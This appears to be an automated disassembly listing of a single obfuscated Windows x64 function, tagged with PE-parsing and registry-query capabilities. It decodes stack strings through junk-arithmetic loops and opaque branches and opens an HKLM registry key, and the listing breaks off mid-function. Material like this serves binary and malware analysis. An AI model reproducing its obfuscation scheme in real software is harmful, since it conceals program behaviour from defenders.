Function at 0x140049f40
Capabilities:
Parse pe header
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x14021a800]
xor rax, rsp
mov qword [rbp + 0x18], rax
movzx edx, byte [rsp + 0x30]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x7a], rax
movups xmmword [rsp + 0x76], xmm0
mov dword [rbp - 0x72], eax
movabs rdi, 0xca2edca62fef214f
mov byte [rbp - 0x6e], al
movabs rsi, 0xbd302ac75fbc6e8
mov dword [rsp + 0x40], 0x3f2a3a3e
movabs r14, 0xf02d40d4c6939b21
mov dword [rsp + 0x44], 0x382e3ed3
movabs r15, 0x748088b4f89e9290
mov dword [rsp + 0x48], 0x263723d2
movabs r12, 0x2d2a93996bfaefd3
mov dword [rsp + 0x4c], 0x32262223
movabs r13, 0xea43bf7e8b95b7ad
mov dword [rsp + 0x50], 0x1b0b1631
mov dword [rsp + 0x54], 0xfac718e6
mov dword [rsp + 0x58], 0x23ffe6fa
mov dword [rsp + 0x5c], 0xf6f1e210
mov dword [rsp + 0x60], 0xfcfdebf1
mov dword [rsp + 0x64], 0xe70cf1ef
mov dword [rsp + 0x68], 0xf6ebe4d5
mov dword [rsp + 0x6c], 0x834e9f1
mov dword [rsp + 0x70], 0x191916f1
mov word [rsp + 0x74], 0xad21
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
movabs rcx, 0x95d819a1ee9dbb7b
cmp rbx, 0x53
jae 0x14004a8f0
movzx r10d, byte [rsp + rbx + 0x40]
mov r11d, r10d
nop
cmp r8, rbx
ja 0x14004a8e7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14004a0a5
lea rcx, [rbx + rdi]
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
movabs rcx, 0x95d819a1ee9dbb7b
add rdx, r10
sub dl, 0x29
jmp 0x14004a0d1
je 0x14004a866
inc rax
cmp r8, rax
je 0x14004a804
lea rax, [r9 + 2]
cmp r8, rax
je 0x14004a7b7
lea rax, [r9 + 7]
cmp r8, rax
je 0x14004a78d
cmp r9, rbx
ja 0x14004a8de
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14004a0fb
add rcx, rbx
movzx edx, r11b
movzx eax, cl
and al, r11b
add al, al
sub dl, al
sub dl, 0x5d
add dl, cl
jmp 0x14004a134
je 0x14004a740
inc rax
cmp r8, rax
je 0x14004a714
lea rax, [r9 + 5]
cmp r8, rax
je 0x14004a6dd
lea rax, [r9 + 7]
cmp r8, rax
je 0x14004a6b8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004a686
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14004a34c
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14004a326
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14004a300
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14004a2da
lea r8, [r9 + 0x61]
lea r9, [r8 + 9]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14004a8bb
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14004a898
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14004a257
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14004a22e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14004a208
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14004a1e2
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x3e8]
jmp 0x14004a150
movabs rcx, 0xf1a7a12a555313fe
mov edx, 7
add rcx, rbx
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x14004a638
movabs rdx, 0xa030bbf8d5da0986
movzx eax, r10b
add rdx, rbx
mov ecx, Ordinal_46
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14004a822
lea rcx, [rbx + rsi]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x58
inc rbx
jmp 0x14004a052
lea rcx, [rbx + r14]
movzx eax, r10b
and al, cl
add al, al
sub r11b, al
add r11b, 0x19
add r11b, cl
cmp r8, 3
jae 0x14004a617
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14004a567
movabs rdx, 0xc302ad3b5a98ab4e
movzx eax, r10b
add rdx, rbx
movzx r11d, r10b
and al, dl
add al, al
sub r11b, al
sub r11b, 0x22
add r11b, dl
cmp r9, 0x5a
jb 0x14004a606
mov ecx, reloc.WS2_32.dll_setsockopt
movabs rdx, 0x8eabea371947457a
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x14004a75e
movabs rdx, 0xeeb2e07f37d42244
mov ecx, reloc.WS2_32.dll_select
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14004a822
lea rdx, [rbx + r15]
mov ecx, 8
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x14004a052
movabs rdx, 0xe022cf6898c04ff2
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14004a75e
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14004a3a4
movzx eax, r11b
lea rcx, [rbx + rdi]
and al, cl
add al, al
sub r11b, al
sub r11b, 0x29
add r11b, cl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14004a663
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14004a478
lea rcx, [rbx + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3b
jmp 0x14004a26d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004a3e1
movabs rdx, 0x2bb03343dd3b76f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x14004a052
inc rax
cmp r8, rax
jne 0x14004a40f
movabs rdx, 0xe8c95f28fcd63ed0
mov ecx, Ordinal_41
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14004a6fc
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14004a43b
movabs rcx, 0x1184d1c1bc92c40c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x54
jmp 0x14004a638
lea rax, [r9 + 7]
movzx r11d, dl
cmp r8, rax
jne 0x14004a36b
movabs rdx, 0xa5e28b0e1c7106aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, rbx
dec rbx
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x14004a052
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004a4a4
movabs rcx, 0xc1884ce5cbd93271
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x17
jmp 0x14004a75e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004a4cd
lea rcx, [rbx + r13]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x45
inc rbx
jmp 0x14004a052
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004a4fa
movzx eax, r10b
movabs rcx, 0xa75ceb63ab307f87
add rcx, rbx
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x4f
jmp 0x14004a6fc
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14004a528
movabs rdx, 0xd0185dfc6aed04c3
movzx eax, r10b
add rdx, rbx
movzx ecx, r10b
and al, dl
sub dl, 0x55
add al, al
sub cl, al
add dl, cl
jmp 0x14004a822
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14004a26d
movzx eax, r10b
movabs rcx, 0x64761748cacb4761
add rcx, rbx
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
add dl, 0x59
inc rbx
jmp 0x14004a052
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004a5a2
movzx eax, r10b
movabs rcx, 0x57606687ba76edec
add rcx, rbx
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [rcx + r10]
sub dl, 0x74
inc rbx
jmp 0x14004a052
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004a5d0
movabs rdx, 0x801bd9207a337328
movzx eax, r10b
add rdx, rbx
movzx ecx, r10b
and al, dl
sub dl, 0x18
add al, al
sub cl, al
add dl, cl
jmp 0x14004a7d5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14004a2a7
movabs rdx, 0xa8d74bb939eff864
movzx eax, r10b
add rdx, rbx
mov ecx, Ordinal_35
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x14004a6fc
mov byte [rsp + rbx + 0x40], r11b
movzx edx, r11b
inc rbx
jmp 0x14004a052
movzx ecx, byte [rsp + rbx + 0x40]
movabs rdx, 0x2309a38379258818
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
add cl, 0x2c
add cl, cl
add dl, cl
movabs rcx, 0xed388029a914a967
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x2f
add cl, r10b
add cl, dl
mov byte [rsp + rbx + 0x40], cl
add r8, r9
jmp 0x14004a6fc
movabs rdx, 0xb7675ccfd903cab6
movzx eax, r10b
add rdx, rbx
mov ecx, 3
and al, dl
sub cl, al
add cl, cl
add dl, cl
jmp 0x14004a7d5
movzx eax, r11b
movabs rcx, 0xcd239d514d6e1309
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [rcx + r11]
sub dl, 0x3f
inc rbx
jmp 0x14004a052
movabs rdx, 0xa4682ab88db18dcd
movzx ecx, r11b
add rdx, rbx
movzx eax, dl
add dl, 0x65
and al, r11b
add al, al
sub cl, al
add dl, cl
jmp 0x14004a7d5
movzx eax, r11b
movabs rcx, 0x100a716c2dd34b2f
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x49
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14004a052
movzx eax, r11b
movabs rcx, 0xbe938c3aae5a40b7
add rcx, rbx
inc r9
and al, cl
dec rbx
add al, al
sub r11b, al
lea edx, [rcx + r11]
dec dl
inc rbx
jmp 0x14004a052
movabs rcx, 0x2a35d2ee4e7bfe19
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x51
movabs rcx, 0x58dac6dd493666c9
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7f
add cl, r10b
mov byte [rsp + rbx + 0x40], cl
inc r9
dec rbx
inc rbx
jmp 0x14004a052
movzx eax, r11b
movabs rcx, 0xd8beedbccf02f3a1
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x67
dec rbx
inc rbx
jmp 0x14004a052
movabs rcx, 0x8748088b4f89e929
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1f
inc r9
movabs rcx, 0x8196397608f2ec05
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x23
add cl, r10b
movzx eax, cl
mov byte [rsp + rbx + 0x40], al
add rax, r9
sub rbx, rax
jmp 0x14004a822
movabs rcx, 0xf2ea4f3eefaba68b
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x33
inc r8
movabs rcx, 0x4bc5161c38e20d54
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x4c
add cl, r10b
mov byte [rsp + rbx + 0x40], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14004a052
movzx eax, r11b
movabs rcx, 0x5e8c95f28fcd63ed
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x7b
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14004a052
movabs rcx, 0xa58a256e73c4e0b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4d
jmp 0x14004a04e
movabs rcx, 0x75fae90a875e0b6d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 5
jmp 0x14004a036
lea rdx, [rbp + 0x16a6054]
jmp 0x14004a8f5
lea rdx, [rbp + 0x15981a3]
jmp 0x14004a8f5
lea rdx, [rsp + 0x40]
lea rax, [rbp - 8]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movzx r10d, byte [rsp + 0x30]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp - 0x44], eax
movups xmmword [rbp - 0x54], xmm0
mov word [rbp - 0x40], ax
movabs rdi, 0x3c7fc4c375816941
mov byte [rbp - 0x3e], al
movabs rsi, 0x84418419f164c4df
mov dword [rbp - 0x60], 0x4ca2c1e4
movabs r15, 0x64679ba7c8a4a37d
mov dword [rbp - 0x5c], 0x48545c58
movabs r14, 0xbb724cca601b7de5
mov dword [rbp - 0x58], 0xe348565a
movabs r12, 0xf2a3157aced236eb
movabs r13, 0x1b2eeecc1ac2030e
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14004b6e0
movzx r11d, byte [rbp + rbx - 0x60]
mov rdx, r11
cmp r8, rbx
ja 0x14004b6d7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14004a9d1
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x6b
jmp 0x14004aa10
je 0x14004b653
inc rax
cmp r8, rax
je 0x14004b5ea
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004b59a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14004b56f
lea rax, [r9 + 6]
cmp r8, rax
je 0x14004b51d
nop word [rax + rax]
cmp r9, rbx
ja 0x14004b6ce
lea rdx, [r9 + 4]
cmp r8, rdx
jae 0x14004aa3e
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x39
add r10b, dl
jmp 0x14004aa72
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14004b4fb
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004b495
lea rax, [rcx + 1]
cmp r8, rax
je 0x14004b473
lea rax, [rdx + 1]
cmp r8, rax
je 0x14004b451
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14004b0d0
nop
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14004b0aa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14004b078
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004b049
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14004b024
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14004afff
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14004afda
lea rax, [r9 + 1]
cmp r8, rax
je 0x14004afb1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14004af88
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14004af51
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14004aa80
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14004b6a9
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14004b684
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14004ac7b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14004ac5c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14004ac3d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14004aeec
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14004ae8d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14004ae3a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14004ae0d
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14004aa80
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14004add6
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14004adae
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14004ad86
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14004ad61
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14004ad38
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14004ad12
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14004ace3
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14004acbe
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14004ac99
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14004aa80
lea r8, [r9 + 0x10]
lea r9, [r8 + 6]
jmp 0x14004aa80
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x19
add r10b, dl
jmp 0x14004aa72
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x43
add r10b, dl
jmp 0x14004aa10
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub dl, 0x6d
sub r10b, al
add r10b, dl
jmp 0x14004a9a2
movabs rdx, 0xe3fe261bac0b4a08
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x38
jmp 0x14004b53d
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rbx
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x62
inc rbx
jmp 0x14004a992
mov ecx, Ordinal_60
movabs rdx, 0x525fb77c8978bc14
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x14004a992
mov ecx, Ordinal_41
movabs rdx, 0x8990802cf82f751a
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14004b4b5
mov ecx, reloc.WS2_32.dll_recv
movabs rdx, 0xc0c148dd66e62e20
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14004b4df
movzx eax, r11b
movabs rcx, 0xf7f2118dd59ce726
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xa
jmp 0x14004b4e2
movabs rdx, 0x2f22da3e4453a02c
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x14004b5bb
movabs rdx, 0x6653a2eeb30a5932
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x14004b60c
movzx eax, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movabs rdx, 0x9d846b9f21c11238
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x14004a992
movzx eax, r11b
movabs rcx, 0xa77e61583689e0c7
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x71
mov byte [rbp + rbx - 0x60], r10b
inc rbx
jmp 0x14004a992
movabs rdx, 0xdeaf2a08a54099cd
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x65
add r10b, dl
cmp r9, 0x42
jb 0x14004ae2d
movzx ecx, r11b
movabs rdx, 0x14804d9f19923ce
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x44]
jmp 0x14004b540
movabs rdx, 0x15dff2b913f752d3
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x3b
add r10b, dl
cmp r8, 0x64
jae 0x14004b3fa
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x14004b2c7
movabs rdx, 0x292fdbbe44bc5e0a
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x46
jmp 0x14004ae5a
movabs rdx, 0x4d10bb6982ae0bd9
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x11
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14004b424
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14004b1fb
movabs rdx, 0xecb016facf3af4c9
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7f
jmp 0x14004aead
movzx eax, r11b
mov ecx, Ordinal_46
movabs rdx, 0x6afe9c94c1087786
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x14004a992
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movabs rdx, 0xa22f65452fbf308c
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14004b60c
mov ecx, 1
movabs rdx, 0xd9602df59e75e992
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14004b5bb
movzx eax, r11b
movabs rcx, 0x1090f6a60d2ca298
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
jmp 0x14004b4e2
movzx eax, r11b
movabs rcx, 0x47c1bf567be35b9e
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
jmp 0x14004b4df
movabs rdx, 0x7ef28806ea9a14a4
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7c
jmp 0x14004b4b5
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movabs rdx, 0xb62350b75950cdaa
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x14004a992
mov ecx, Ordinal_27
movabs rdx, 0xed541967c80786b0
add rdx, rbx
movzx eax, r11b
and al, dl
inc r9
sub cl, al
dec rbx
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x14004a992
mov ecx, 3
movabs rdx, 0x2484e21836be3fb6
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14004b53d
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14004b0f8
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x6b
jmp 0x14004af0c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004b138
movzx eax, r11b
mov ecx, reloc.WS2_32.dll_gethostname
movabs rdx, 0x78ff8986eb02d282
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x14004a992
inc rax
cmp r8, rax
jne 0x14004b168
movabs rdx, 0xa9df8260d956076
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x3a
add r10b, dl
jmp 0x14004b5bb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004b196
movzx eax, r11b
movabs rcx, 0xd36d2f759edea770
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
jmp 0x14004b4e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004b1c8
mov ecx, reloc.WS2_32.dll_listen
movabs rdx, 0x9c3c66c53027ee6a
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14004b4df
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004af0f
mov ecx, Ordinal_35
movabs rdx, 0x650b9e14c1713564
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14004b4b5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004b229
movabs rdx, 0xb57f4e4a60843bc3
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x55
jmp 0x14004b53d
inc rax
cmp r8, rax
jne 0x14004b25a
movabs rcx, 0x471dbce98316c9b7
add rcx, rbx
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
inc rbx
jmp 0x14004a992
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004b287
movabs rcx, 0xa18b62d836f29ea5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x14004b4e2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14004aeb0
movzx eax, r11b
movabs rcx, 0xfbf908c6eace7393
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 5
inc rbx
jmp 0x14004a992
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004b303
movzx eax, r11b
movabs rcx, 0xf1ff130dd605a504
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x1c
inc rbx
jmp 0x14004a992
inc rax
cmp r8, rax
jne 0x14004b334
mov ecx, Ordinal_30
movabs rdx, 0x839d81acf89832f8
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14004b5bb
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14004b366
mov ecx, Ordinal_50
movabs rdx, 0x4c6cb8fc89e179f2
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14004b4e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004b394
movzx eax, r11b
movabs rcx, 0x153bf04c1b2ac0ec
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
jmp 0x14004b4df
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004b3c2
movabs rdx, 0xde0b279bac7407e6
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x4a
jmp 0x14004b4b5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14004ae5d
movzx eax, r11b
movabs rcx, 0xa6da5eeb3dbd4ee0
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc rbx
jmp 0x14004a992
movzx r10d, byte [rbp + rbx - 0x60]
movabs rdx, 0xca173c2982e26ac8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, r11b
jmp 0x14004b4b5
movabs rdx, 0x92e67379142bb1c2
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, byte [rbp + rbx - 0x60]
sub r10b, 0x4e
add r10b, dl
